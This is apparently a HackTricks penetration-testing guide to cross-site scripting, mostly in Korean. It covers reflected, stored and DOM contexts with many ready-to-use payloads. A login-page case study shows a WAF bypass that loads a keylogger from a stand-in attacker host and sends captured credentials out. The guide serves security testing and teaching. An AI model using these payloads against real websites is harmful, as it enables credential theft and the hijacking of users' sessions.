XSS (Cross Site Scripting)

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

๋ฐฉ๋ฒ•๋ก 

  1. ๋‹น์‹ ์ด ์ œ์–ดํ•˜๋Š” any value you control (parameters, path, headers?, cookies?)๊ฐ€ HTML์— **๋ฐ˜์˜(reflected)**๋˜๊ฑฐ๋‚˜ JS ์ฝ”๋“œ์— ์˜ํ•ด ์‚ฌ์šฉ๋˜๋Š”์ง€ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค.
  2. ๊ฐ’์ด ๋ฐ˜์˜/์‚ฌ์šฉ๋˜๋Š” ์ปจํ…์ŠคํŠธ๋ฅผ ํŒŒ์•…ํ•ฉ๋‹ˆ๋‹ค.
  3. ๋งŒ์•ฝ reflected๋ผ๋ฉด
  4. ์–ด๋–ค ๊ธฐํ˜ธ๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š”์ง€ ํ™•์ธํ•˜๊ณ  ๊ทธ์— ๋”ฐ๋ผ payload๋ฅผ ์ค€๋น„ํ•ฉ๋‹ˆ๋‹ค:
  5. raw HTML์—์„œ:
  6. ์ƒˆ๋กœ์šด HTML ํƒœ๊ทธ๋ฅผ ๋งŒ๋“ค ์ˆ˜ ์žˆ๋‚˜์š”?
  7. javascript: ํ”„๋กœํ† ์ฝœ์„ ์ง€์›ํ•˜๋Š” ์ด๋ฒคํŠธ๋‚˜ ์†์„ฑ์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋‚˜์š”?
  8. ๋ณดํ˜ธ์žฅ์น˜๋ฅผ ์šฐํšŒํ•  ์ˆ˜ ์žˆ๋‚˜์š”?
  9. HTML ์ฝ˜ํ…์ธ ๊ฐ€ ์–ด๋–ค ํด๋ผ์ด์–ธํŠธ ์‚ฌ์ด๋“œ JS ์—”์ง„(AngularJS, VueJS, Mavoโ€ฆ)์— ์˜ํ•ด ํ•ด์„๋œ๋‹ค๋ฉด, Client Side Template Injection๋ฅผ ์•…์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  10. JS ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜๋Š” HTML ํƒœ๊ทธ๋ฅผ ๋งŒ๋“ค ์ˆ˜ ์—†๋‹ค๋ฉด, Dangling Markup - HTML scriptless injection๋ฅผ ์•…์šฉํ•  ์ˆ˜ ์žˆ๋‚˜์š”?
  11. HTML ํƒœ๊ทธ ์•ˆ์—์„œ:
  12. attribute์—์„œ ๋ฒ—์–ด๋‚˜ raw HTML ์ปจํ…์ŠคํŠธ๋กœ ๋‚˜๊ฐˆ ์ˆ˜ ์žˆ๋‚˜์š”?
  13. JS ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•  ์ด๋ฒคํŠธ/์†์„ฑ์„ ๋งŒ๋“ค ์ˆ˜ ์žˆ๋‚˜์š”?
  14. ๊ฐ‡ํ˜€ ์žˆ๋Š” ์†์„ฑ์ด JS ์‹คํ–‰์„ ์ง€์›ํ•˜๋‚˜์š”?
  15. ๋ณดํ˜ธ์žฅ์น˜๋ฅผ ์šฐํšŒํ•  ์ˆ˜ ์žˆ๋‚˜์š”?
  16. JavaScript ์ฝ”๋“œ ๋‚ด๋ถ€์—์„œ:
  17. <script> ํƒœ๊ทธ๋ฅผ ํƒˆ์ถœํ•  ์ˆ˜ ์žˆ๋‚˜์š”?
  18. ๋ฌธ์ž์—ด์„ ํƒˆ์ถœํ•ด ๋‹ค๋ฅธ JS ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋‚˜์š”?
  19. ์ž…๋ ฅ์ด ํ…œํ”Œ๋ฆฟ ๋ฆฌํ„ฐ๋Ÿด ```` ์•ˆ์— ์žˆ๋‚˜์š”?
  20. ๋ณดํ˜ธ์žฅ์น˜๋ฅผ ์šฐํšŒํ•  ์ˆ˜ ์žˆ๋‚˜์š”?
  21. ์‹คํ–‰๋˜๋Š” Javascript function
  22. ์‹คํ–‰ํ•  ํ•จ์ˆ˜ ์ด๋ฆ„์„ ์ง€์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ: ?callback=alert(1)
  23. ๋งŒ์•ฝ used๋ผ๋ฉด:
  24. DOM XSS๋ฅผ ์•…์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ž…๋ ฅ์ด ์–ด๋–ป๊ฒŒ ์ œ์–ด๋˜๋Š”์ง€, ๊ทธ๋ฆฌ๊ณ  ๋‹น์‹ ์ด ์ œ์–ดํ•˜๋Š” ์ž…๋ ฅ์ด ์–ด๋–ค sink์—์„œ ์‚ฌ์šฉ๋˜๋Š”์ง€ ์ฃผ์˜ ๊นŠ๊ฒŒ ํ™•์ธํ•˜์„ธ์š”.

๋ณต์žกํ•œ XSS ์ž‘์—…์„ ํ•  ๋•Œ ๋‹ค์Œ์ด ๋„์›€์ด ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

Debugging Client Side JS

Reflected values

XSS๋ฅผ ์„ฑ๊ณต์ ์œผ๋กœ ์•…์šฉํ•˜๋ ค๋ฉด ๊ฐ€์žฅ ๋จผ์ € ์ฐพ์•„์•ผ ํ•  ๊ฒƒ์€ ์›น ํŽ˜์ด์ง€์— **๋ฐ˜์˜(reflected)**๋˜๋Š” ๋‹น์‹ ์ด ์ œ์–ดํ•˜๋Š” ๊ฐ’์ž…๋‹ˆ๋‹ค.

  • ์ค‘๊ฐ„์ ์œผ๋กœ ๋ฐ˜์˜๋œ ๊ฒฝ์šฐ(Intermediately reflected): ํŒŒ๋ผ๋ฏธํ„ฐ ๊ฐ’์ด๋‚˜ ๊ฒฝ๋กœ ๊ฐ’์ด ์›น ํŽ˜์ด์ง€์— ๋ฐ˜์˜๋˜๋Š” ๊ฒƒ์„ ๋ฐœ๊ฒฌํ•˜๋ฉด Reflected XSS๋ฅผ ์•…์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • ์ €์žฅ๋˜์–ด ๋ฐ˜์˜๋˜๋Š” ๊ฒฝ์šฐ(Stored and reflected): ๋‹น์‹ ์ด ์ œ์–ดํ•˜๋Š” ๊ฐ’์ด ์„œ๋ฒ„์— ์ €์žฅ๋˜๊ณ  ํŽ˜์ด์ง€์— ์ ‘๊ทผํ•  ๋•Œ๋งˆ๋‹ค ๋ฐ˜์˜๋œ๋‹ค๋ฉด Stored XSS๋ฅผ ์•…์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • JS๋ฅผ ํ†ตํ•ด ์ ‘๊ทผ๋˜๋Š” ๊ฒฝ์šฐ(Accessed via JS): ๋‹น์‹ ์ด ์ œ์–ดํ•˜๋Š” ๊ฐ’์ด JS๋กœ ์ ‘๊ทผ๋˜๋Š” ๊ฒƒ์„ ๋ฐœ๊ฒฌํ•˜๋ฉด DOM XSS๋ฅผ ์•…์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ปจํ…์ŠคํŠธ

XSS๋ฅผ ์•…์šฉํ•˜๋ ค ํ•  ๋•Œ ๊ฐ€์žฅ ๋จผ์ € ์•Œ์•„์•ผ ํ•  ๊ฒƒ์€ ์–ด๋””์— ์ž…๋ ฅ์ด ๋ฐ˜์˜๋˜๋Š”๊ฐ€์ž…๋‹ˆ๋‹ค. ์ปจํ…์ŠคํŠธ์— ๋”ฐ๋ผ ์ž„์˜์˜ JS ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋Š” ๋ฐฉ๋ฒ•์ด ๋‹ฌ๋ผ์ง‘๋‹ˆ๋‹ค.

์›์‹œ HTML

์ž…๋ ฅ์ด ์›์‹œ HTML์— ๋ฐ˜์˜๋œ๋‹ค๋ฉด JS ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜๊ธฐ ์œ„ํ•ด ๋ช‡๋ช‡ HTML ํƒœ๊ทธ๋ฅผ ์•…์šฉํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค: <img , <iframe , <svg , <script โ€ฆ ์ด๋Š” ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” ๋งŽ์€ HTML ํƒœ๊ทธ ์ค‘ ์ผ๋ถ€์ผ ๋ฟ์ž…๋‹ˆ๋‹ค.
๋˜ํ•œ Client Side Template Injection์„ ์—ผ๋‘์— ๋‘์„ธ์š”.

HTML ํƒœ๊ทธ์˜ attribute ์•ˆ

์ž…๋ ฅ์ด ํƒœ๊ทธ์˜ ์†์„ฑ ๊ฐ’ ์•ˆ์— ๋ฐ˜์˜๋œ๋‹ค๋ฉด ๋‹ค์Œ์„ ์‹œ๋„ํ•ด๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

  1. ์†์„ฑ๊ณผ ํƒœ๊ทธ์—์„œ ํƒˆ์ถœํ•˜์—ฌ(๊ทธ๋Ÿผ raw HTML ์ปจํ…์ŠคํŠธ๊ฐ€ ๋ฉ๋‹ˆ๋‹ค) ์ƒˆ HTML ํƒœ๊ทธ๋ฅผ ๋งŒ๋“ค์–ด ์•…์šฉํ•ฉ๋‹ˆ๋‹ค: "><img [...]
  2. ์†์„ฑ์€ ํƒˆ์ถœํ•  ์ˆ˜ ์žˆ์ง€๋งŒ ํƒœ๊ทธ๋Š” ํƒˆ์ถœํ•  ์ˆ˜ ์—†๋Š” ๊ฒฝ์šฐ (>๊ฐ€ ์ธ์ฝ”๋”ฉ๋˜๊ฑฐ๋‚˜ ์‚ญ์ œ๋˜๋Š” ๊ฒฝ์šฐ), ํƒœ๊ทธ์— ๋”ฐ๋ผ JS ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜๋Š” ์ด๋ฒคํŠธ๋ฅผ ๋งŒ๋“ค ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: " autofocus onfocus=alert(1) x="
  3. ์†์„ฑ์—์„œ ํƒˆ์ถœํ•  ์ˆ˜ ์—†๋Š” ๊ฒฝ์šฐ ("๊ฐ€ ์ธ์ฝ”๋”ฉ๋˜๊ฑฐ๋‚˜ ์‚ญ์ œ๋˜๋Š” ๊ฒฝ์šฐ), ๊ฐ’์ด ๋ฐ˜์˜๋˜๋Š” ์–ด๋–ค ์†์„ฑ์ธ์ง€, ๊ทธ๋ฆฌ๊ณ  ์ „์ฒด ๊ฐ’์„ ์ œ์–ดํ•˜๋Š”์ง€ ์ผ๋ถ€๋งŒ ์ œ์–ดํ•˜๋Š”์ง€์— ๋”ฐ๋ผ ์•…์šฉ ๊ฐ€๋Šฅ์„ฑ์ด ๋‹ฌ๋ผ์ง‘๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, onclick= ๊ฐ™์€ ์ด๋ฒคํŠธ๋ฅผ ์ œ์–ดํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด ํด๋ฆญ ์‹œ ์ž„์˜ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜๊ฒŒ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋˜ ๋‹ค๋ฅธ ํฅ๋ฏธ๋กœ์šด ์˜ˆ๋กœ๋Š” href ์†์„ฑ์œผ๋กœ, javascript: ํ”„๋กœํ† ์ฝœ์„ ์‚ฌ์šฉํ•ด ์ž„์˜ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: href="javascript:alert(1)"
  4. ์ž…๋ ฅ์ด โ€œ์˜ˆ์ œ์™ธ ํƒœ๊ทธ(unexpoitable tags)โ€ ์•ˆ์— ๋ฐ˜์˜๋œ๋‹ค๋ฉด accesskey ํŠธ๋ฆญ์„ ์‹œ๋„ํ•ด๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค(์ด๋ฅผ ์•…์šฉํ•˜๋ ค๋ฉด ์–ด๋А ์ •๋„์˜ social engineering์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค): " accesskey="x" onclick="alert(1)" x="

Attribute-only ๋กœ๊ทธ์ธ XSS (WAFs ๋’ค)

ํ•œ ๊ธฐ์—… SSO ๋กœ๊ทธ์ธ ํŽ˜์ด์ง€๊ฐ€ OAuth service ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ <a id="forgot_btn" ...>์˜ href ์†์„ฑ ์•ˆ์— ๋ฐ˜์˜ํ–ˆ์Šต๋‹ˆ๋‹ค. <์™€ >๋Š” HTML-์ธ์ฝ”๋”ฉ ๋˜์—ˆ์ง€๋งŒ, ํฐ๋”ฐ์˜ดํ‘œ๋Š” ์ธ์ฝ”๋”ฉ๋˜์ง€ ์•Š์•˜๊ธฐ ๋•Œ๋ฌธ์— ๊ณต๊ฒฉ์ž๋Š” ์†์„ฑ์„ ๋‹ซ๊ณ  ๊ฐ™์€ ์š”์†Œ๋ฅผ ์žฌ์‚ฌ์šฉํ•˜์—ฌ " onfocus="payload" x=" ๊ฐ™์€ ํ•ธ๋“ค๋Ÿฌ๋ฅผ ์ฃผ์ž…ํ•  ์ˆ˜ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค.

  1. ํ•ธ๋“ค๋Ÿฌ ์ฃผ์ž…: onclick="print(1)" ๊ฐ™์€ ๊ฐ„๋‹จํ•œ payload๋Š” ์ฐจ๋‹จ๋˜์—ˆ์ง€๋งŒ, WAF๋Š” ์ธ๋ผ์ธ ์†์„ฑ์—์„œ ์ฒซ ๋ฒˆ์งธ JavaScript ๋ฌธ์žฅ๋งŒ ๊ฒ€์‚ฌํ–ˆ์Šต๋‹ˆ๋‹ค. ๋ฌดํ•ดํ•œ ํ‘œํ˜„์‹์„ ๊ด„ํ˜ธ๋กœ ๊ฐ์‹ผ ๋’ค ์„ธ๋ฏธ์ฝœ๋ก ์„ ๋ถ™์—ฌ ์‹ค์ œ payload๊ฐ€ ์‹คํ–‰๋˜๊ฒŒ ํ–ˆ์Šต๋‹ˆ๋‹ค: onfocus="(history.length);malicious_code_here".
  2. ์ž๋™ ํŠธ๋ฆฌ๊ฑฐ: ๋ธŒ๋ผ์šฐ์ €๋Š” fragment๊ฐ€ ์š”์†Œ์˜ id์™€ ์ผ์น˜ํ•˜๋ฉด ๊ทธ ์š”์†Œ์— ํฌ์ปค์Šค๋ฅผ ์ฃผ๋ฏ€๋กœ, exploit URL์— #forgot_btn์„ ์ถ”๊ฐ€ํ•˜๋ฉด ํŽ˜์ด์ง€ ๋กœ๋“œ ์‹œ ์•ต์ปค์— ํฌ์ปค์Šค๊ฐ€ ๊ฐ€์„œ ํด๋ฆญ ์—†์ด๋„ ํ•ธ๋“ค๋Ÿฌ๊ฐ€ ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค.
  3. ์ธ๋ผ์ธ ์Šคํ…์„ ์ž‘๊ฒŒ ์œ ์ง€: ๋Œ€์ƒ ํŽ˜์ด์ง€๋Š” ์ด๋ฏธ jQuery๋ฅผ ํฌํ•จํ•˜๊ณ  ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค. ํ•ธ๋“ค๋Ÿฌ๋Š” ๋‹จ์ง€ $.getScript(...)๋กœ ์š”์ฒญ์„ ๋ถ€ํŠธ์ŠคํŠธ๋žฉํ•˜๋ฉด ๋˜์—ˆ๊ณ , ์ „์ฒด keylogger๋Š” ๊ณต๊ฒฉ์ž ์„œ๋ฒ„์— ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค.

๋”ฐ์˜ดํ‘œ ์—†์ด ๋ฌธ์ž์—ด ๋งŒ๋“ค๊ธฐ

์‹ฑ๊ธ€ ์ฟผํŠธ๋Š” URL-์ธ์ฝ”๋”ฉ๋˜์–ด ๋ฐ˜ํ™˜๋˜์—ˆ๊ณ  ์ด์Šค์ผ€์ดํ”„๋œ ๋”๋ธ” ์ฟผํŠธ๋Š” ์†์„ฑ์„ ์†์ƒ์‹œ์ผฐ๊ธฐ ๋•Œ๋ฌธ์—, ํŽ˜์ด๋กœ๋“œ๋Š” ๋ชจ๋“  ๋ฌธ์ž์—ด์„ String.fromCharCode๋กœ ์ƒ์„ฑํ–ˆ์Šต๋‹ˆ๋‹ค. ์–ด๋–ค URL์ด๋“  ์†์„ฑ์— ๋ถ™์—ฌ๋„ฃ๊ธฐ ์ „์— ๋ฌธ์ž ์ฝ”๋“œ๋กœ ๋ณ€ํ™˜ํ•˜๊ธฐ ์‰ฝ๊ฒŒ ํ•ด์ฃผ๋Š” ํ—ฌํผ ํ•จ์ˆ˜๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค:

function toCharCodes(str){
return `const url = String.fromCharCode(${[...str].map(c => c.charCodeAt(0)).join(',')});`
}
console.log(toCharCodes('https://attacker.tld/keylogger.js'))

๊ฒฐ๊ณผ๋กœ ์ƒ์„ฑ๋œ ์†์„ฑ์€ ๋‹ค์Œ๊ณผ ๊ฐ™์•˜์Šต๋‹ˆ๋‹ค:

onfocus="(history.length);const url=String.fromCharCode(104,116,116,112,115,58,47,47,97,116,116,97,99,107,101,114,46,116,108,100,47,107,101,121,108,111,103,103,101,114,46,106,115);$.getScript(url),function(){}"

์™œ ์ด๊ฒƒ์ด ์ž๊ฒฉ ์ฆ๋ช…์„ ํ›”์น˜๋Š”๊ฐ€

์™ธ๋ถ€ ์Šคํฌ๋ฆฝํŠธ(๊ณต๊ฒฉ์ž ์ œ์–ด ํ˜ธ์ŠคํŠธ ๋˜๋Š” Burp Collaborator์—์„œ ๋กœ๋“œ๋จ)๋Š” document.onkeypress๋ฅผ ํ›…ํ‚นํ•˜๊ณ , ํ‚ค ์ž…๋ ฅ์„ ๋ฒ„ํผ๋งํ–ˆ์œผ๋ฉฐ, ๋งค์ดˆ new Image().src = collaborator_url + keys๋ฅผ ํ˜ธ์ถœํ–ˆ์Šต๋‹ˆ๋‹ค. XSS๋Š” ์ธ์ฆ๋˜์ง€ ์•Š์€ ์‚ฌ์šฉ์ž์—๊ฒŒ๋งŒ ๋ฐœ์ƒํ•˜๊ธฐ ๋•Œ๋ฌธ์— ๋ฏผ๊ฐํ•œ ๋™์ž‘์€ ๋กœ๊ทธ์ธ ํผ ์ž์ฒด์ž…๋‹ˆ๋‹คโ€”๊ณต๊ฒฉ์ž๋Š” ํ”ผํ•ด์ž๊ฐ€ โ€œLoginโ€œ์„ ๋ˆ„๋ฅด์ง€ ์•Š์•„๋„ ์‚ฌ์šฉ์ž๋ช…๊ณผ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ํ‚ค๋กœ๊น…ํ•ฉ๋‹ˆ๋‹ค.

ํด๋ž˜์Šค ์ด๋ฆ„์„ ์ œ์–ดํ•˜๋ฉด Angular๊ฐ€ XSS๋ฅผ ์‹คํ–‰ํ•˜๋Š” ์ด์ƒํ•œ ์˜ˆ:

<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>

JavaScript ์ฝ”๋“œ ๋‚ด๋ถ€

์ด ๊ฒฝ์šฐ ์ž…๋ ฅ์€ HTML ํŽ˜์ด์ง€์˜ <script> [...] </script> ํƒœ๊ทธ ์‚ฌ์ด, .js ํŒŒ์ผ ๋‚ด๋ถ€ ๋˜๋Š” javascript: ํ”„๋กœํ† ์ฝœ์„ ์‚ฌ์šฉํ•˜๋Š” ์–ดํŠธ๋ฆฌ๋ทฐํŠธ ๋‚ด๋ถ€์— ๋ฐ˜์˜๋ฉ๋‹ˆ๋‹ค:

  • ๋งŒ์•ฝ <script> [...] </script> ํƒœ๊ทธ ์‚ฌ์ด์— ๋ฐ˜์˜๋œ๋‹ค๋ฉด, ์ž…๋ ฅ์ด ์–ด๋–ค ์ข…๋ฅ˜์˜ ๋”ฐ์˜ดํ‘œ ์•ˆ์— ์žˆ๋”๋ผ๋„ </script> ๋ฅผ ์ฃผ์ž…ํ•ด ์ด ์ปจํ…์ŠคํŠธ์—์„œ ํƒˆ์ถœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ๋จผ์ € HTML ํƒœ๊ทธ๋ฅผ ํŒŒ์‹ฑํ•œ ๋‹ค์Œ ์ฝ˜ํ…์ธ ๋ฅผ ์ฒ˜๋ฆฌํ•˜๊ธฐ ๋•Œ๋ฌธ์— ์ž‘๋™ํ•˜๋ฉฐ, ๋ธŒ๋ผ์šฐ์ €๋Š” ๋‹น์‹ ์ด ์ฃผ์ž…ํ•œ </script> ํƒœ๊ทธ๊ฐ€ HTML ์ฝ”๋“œ ๋‚ด๋ถ€์— ์žˆ๋‹ค๋Š” ๊ฒƒ์„ ์ธ์‹ํ•˜์ง€ ๋ชปํ•ฉ๋‹ˆ๋‹ค.
  • ๋งŒ์•ฝ ์ž…๋ ฅ์ด JS ๋ฌธ์ž์—ด ๋‚ด๋ถ€์— ๋ฐ˜์˜๋˜๊ณ  ์ด์ „ ํŠธ๋ฆญ์ด ํ†ตํ•˜์ง€ ์•Š๋Š”๋‹ค๋ฉด, ๋ฌธ์ž์—ด์—์„œ ํƒˆ์ถœํ•˜๊ณ , ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•œ ๋‹ค์Œ JS ์ฝ”๋“œ๋ฅผ ์žฌ๊ตฌ์„ฑํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค (์—๋Ÿฌ๊ฐ€ ๋ฐœ์ƒํ•˜๋ฉด ์‹คํ–‰๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค:
  • '-alert(1)-'
  • ';-alert(1)//
  • \';alert(1)//
  • ํ…œํ”Œ๋ฆฟ ๋ฆฌํ„ฐ๋Ÿด ๋‚ด๋ถ€์— ๋ฐ˜์˜๋œ๋‹ค๋ฉด ${ ... } ๋ฌธ๋ฒ•์„ ์‚ฌ์šฉํ•ด JS ํ‘œํ˜„์‹์„ ์‚ฝ์ž…ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: var greetings = `Hello, ${alert(1)}`
  • Unicode encode๋Š” valid javascript code๋ฅผ ์ž‘์„ฑํ•˜๋Š” ๋ฐ ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค:
alert(1)
alert(1)
alert(1)

Javascript Hoisting

Javascript Hoisting๋Š” ํ•จ์ˆ˜, ๋ณ€์ˆ˜ ๋˜๋Š” ํด๋ž˜์Šค๋ฅผ ์‚ฌ์šฉ๋œ ์ดํ›„์— ์„ ์–ธํ•  ์ˆ˜ ์žˆ๋Š” ๊ธฐํšŒ๋ฅผ ์˜๋ฏธํ•˜๋ฉฐ, ์ด๋Š” XSS๊ฐ€ ์„ ์–ธ๋˜์ง€ ์•Š์€ ๋ณ€์ˆ˜๋‚˜ ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ์ƒํ™ฉ์„ ์•…์šฉํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ค€๋‹ค.
์ž์„ธํ•œ ๋‚ด์šฉ์€ ๋‹ค์Œ ํŽ˜์ด์ง€๋ฅผ ํ™•์ธํ•˜์„ธ์š”:

JS Hoisting

Javascript Function

Several web pages have endpoints that accept as parameter the name of the function to execute. A common example to see in the wild is something like: ?callback=callbackFunc.

์‚ฌ์šฉ์ž๊ฐ€ ์ง์ ‘ ์ œ๊ณตํ•œ ๊ฐ’์ด ์‹คํ–‰๋˜๋Š”์ง€ ํ™•์ธํ•˜๋Š” ์ข‹์€ ๋ฐฉ๋ฒ•์€ param ๊ฐ’์„ ์ˆ˜์ •ํ•˜๋Š” ๊ฒƒ(์˜ˆ: โ€˜Vulnerableโ€™)์ด๊ณ  console์—์„œ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์—๋Ÿฌ๋ฅผ ํ™•์ธํ•˜๋Š” ๊ฒƒ์ด๋‹ค:

์ทจ์•ฝํ•œ ๊ฒฝ์šฐ, ๋‹จ์ง€ ๊ฐ’์„ ์ „์†กํ•˜๋Š” ๊ฒƒ๋งŒ์œผ๋กœ alert๋ฅผ ํŠธ๋ฆฌ๊ฑฐํ•  ์ˆ˜ ์žˆ๋‹ค: ?callback=alert(1). ํ•˜์ง€๋งŒ ์ด๋Ÿฌํ•œ endpoints๋Š” ์ผ๋ฐ˜์ ์œผ๋กœ ๋ฌธ์ž, ์ˆซ์ž, ์  ๋ฐ ๋ฐ‘์ค„๋งŒ ํ—ˆ์šฉํ•˜๋„๋ก ๋‚ด์šฉ์„ ๊ฒ€์ฆํ•˜๋Š” ๊ฒฝ์šฐ๊ฐ€ ๋งŽ๋‹ค ([\w\._]).

ํ•˜์ง€๋งŒ ๊ทธ ์ œํ•œ์ด ์žˆ์–ด๋„ ์ผ๋ถ€ ๋™์ž‘์„ ์ˆ˜ํ–‰ํ•˜๋Š” ๊ฒƒ์ด ์—ฌ์ „ํžˆ ๊ฐ€๋Šฅํ•˜๋‹ค. ์ด๋Š” ํ—ˆ์šฉ๋œ ๋ฌธ์ž๋“ค๋กœ DOM์˜ ์–ด๋–ค ์š”์†Œ๋“  ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์ด๋‹ค:

์ด๋ฅผ ์œ„ํ•ด ์œ ์šฉํ•œ ํ•จ์ˆ˜๋“ค:

firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement

You can also try to trigger Javascript functions directly: obj.sales.delOrders.

However, usually the endpoints executing the indicated function are endpoints without much interesting DOM, other pages in the same origin will have a more interesting DOM to perform more actions.

Therefore, in order to abuse this vulnerability in a different DOM the Same Origin Method Execution (SOME) exploitation was developed:

SOME - Same Origin Method Execution

DOM

JS code๊ฐ€ ์•ˆ์ „ํ•˜์ง€ ์•Š๊ฒŒ ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” ์ผ๋ถ€ ๋ฐ์ดํ„ฐ(์˜ˆ: location.href)๋ฅผ ์‚ฌ์šฉํ•˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค. ๊ณต๊ฒฉ์ž๋Š” ์ด๋ฅผ ์•…์šฉํ•˜์—ฌ ์ž„์˜์˜ JS ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

DOM XSS

Universal XSS

์ด๋Ÿฌํ•œ ์œ ํ˜•์˜ XSS๋Š” anywhere์—์„œ ๋ฐœ๊ฒฌ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๊ฒƒ๋“ค์€ ์›น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ํด๋ผ์ด์–ธํŠธ ์ทจ์•ฝ์ ๋งŒ์ด ์•„๋‹ˆ๋ผ any context์— ์˜์กดํ•ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ์œ ํ˜•์˜ arbitrary JavaScript execution์€ ์‹ฌ์ง€์–ด RCE๋ฅผ ์–ป๊ฑฐ๋‚˜ ํด๋ผ์ด์–ธํŠธ์™€ ์„œ๋ฒ„์—์„œ ์ž„์˜์˜ ํŒŒ์ผ์„ ์ฝ๋Š” ๋“ฑ์œผ๋กœ ์•…์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
๋ช‡ ๊ฐ€์ง€ examples:

Server Side XSS (Dynamic PDF)

Electron Desktop Apps

WAF bypass encoding image

from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21

Injecting inside raw HTML

์ž…๋ ฅ๊ฐ’์ด inside the HTML page์— ๋ฐ˜์˜๋˜๊ฑฐ๋‚˜ ์ด ์ปจํ…์ŠคํŠธ์—์„œ ์ด์Šค์ผ€์ดํ”„ํ•˜์—ฌ HTML ์ฝ”๋“œ๋ฅผ ์ฃผ์ž…ํ•  ์ˆ˜ ์žˆ๋Š” ๊ฒฝ์šฐ, ๊ฐ€์žฅ ๋จผ์ € ํ•ด์•ผ ํ•  ์ผ์€ ์ƒˆ ํƒœ๊ทธ๋ฅผ ๋งŒ๋“ค๊ธฐ ์œ„ํ•ด <๋ฅผ ์•…์šฉํ•  ์ˆ˜ ์žˆ๋Š”์ง€ ํ™•์ธํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค: ํ•ด๋‹น char๊ฐ€ ๋ฐ˜์˜๋˜๋Š”์ง€ ํ™•์ธํ•˜๊ณ  ๊ทธ๊ฒƒ์ด HTML encoded๋˜๋Š”์ง€, deleted๋˜๋Š”์ง€, ์•„๋‹ˆ๋ฉด reflected without changes ๋˜๋Š”์ง€๋ฅผ ํ™•์ธํ•˜์„ธ์š”. Only in the last case you will be able to exploit this case.
For this cases also keep in mind Client Side Template Injection.
Note: A HTML comment can be closed using****-->****or **--!>**

In this case and if no black/whitelisting is used, you could use payloads like:

<script>
alert(1)
</script>
<img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')>

